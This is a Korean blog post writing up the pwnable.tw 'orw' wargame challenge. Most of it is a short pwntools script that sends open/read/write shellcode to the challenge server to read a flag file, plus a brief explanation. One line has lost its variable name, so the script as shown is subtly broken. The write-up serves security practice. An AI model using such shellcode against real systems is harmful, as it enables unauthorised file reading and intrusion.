티스토리 뷰

Pwnable/pwnable.tw

orw

xxvd 2018. 9. 27. 06:09

옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다.




1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote('chall.pwnable.tw',10001)
 
payload=asm(shellcraft.open("/home/orw/flag"))
payload+=asm(shellcraft.read("eax","esp",0x100))
payload+=asm(shellcraft.write(1,"esp",0x100))
 
p.sendline(payload)
 
p.recvuntil("shellcode:")
print p.recvline()
 
cs


이렇게 간단하다. 간단히 설명하면 open으로 /home/orw/flag를 열고 esp에 0x100만큼 받는다. eax는 fd.


그리고 esp에 read한 값을 write로 출력해주면 된다.


익스 코드가 엄청 짧아졌다 (신기)

'Pwnable > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] start  (0) 2018.08.19
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함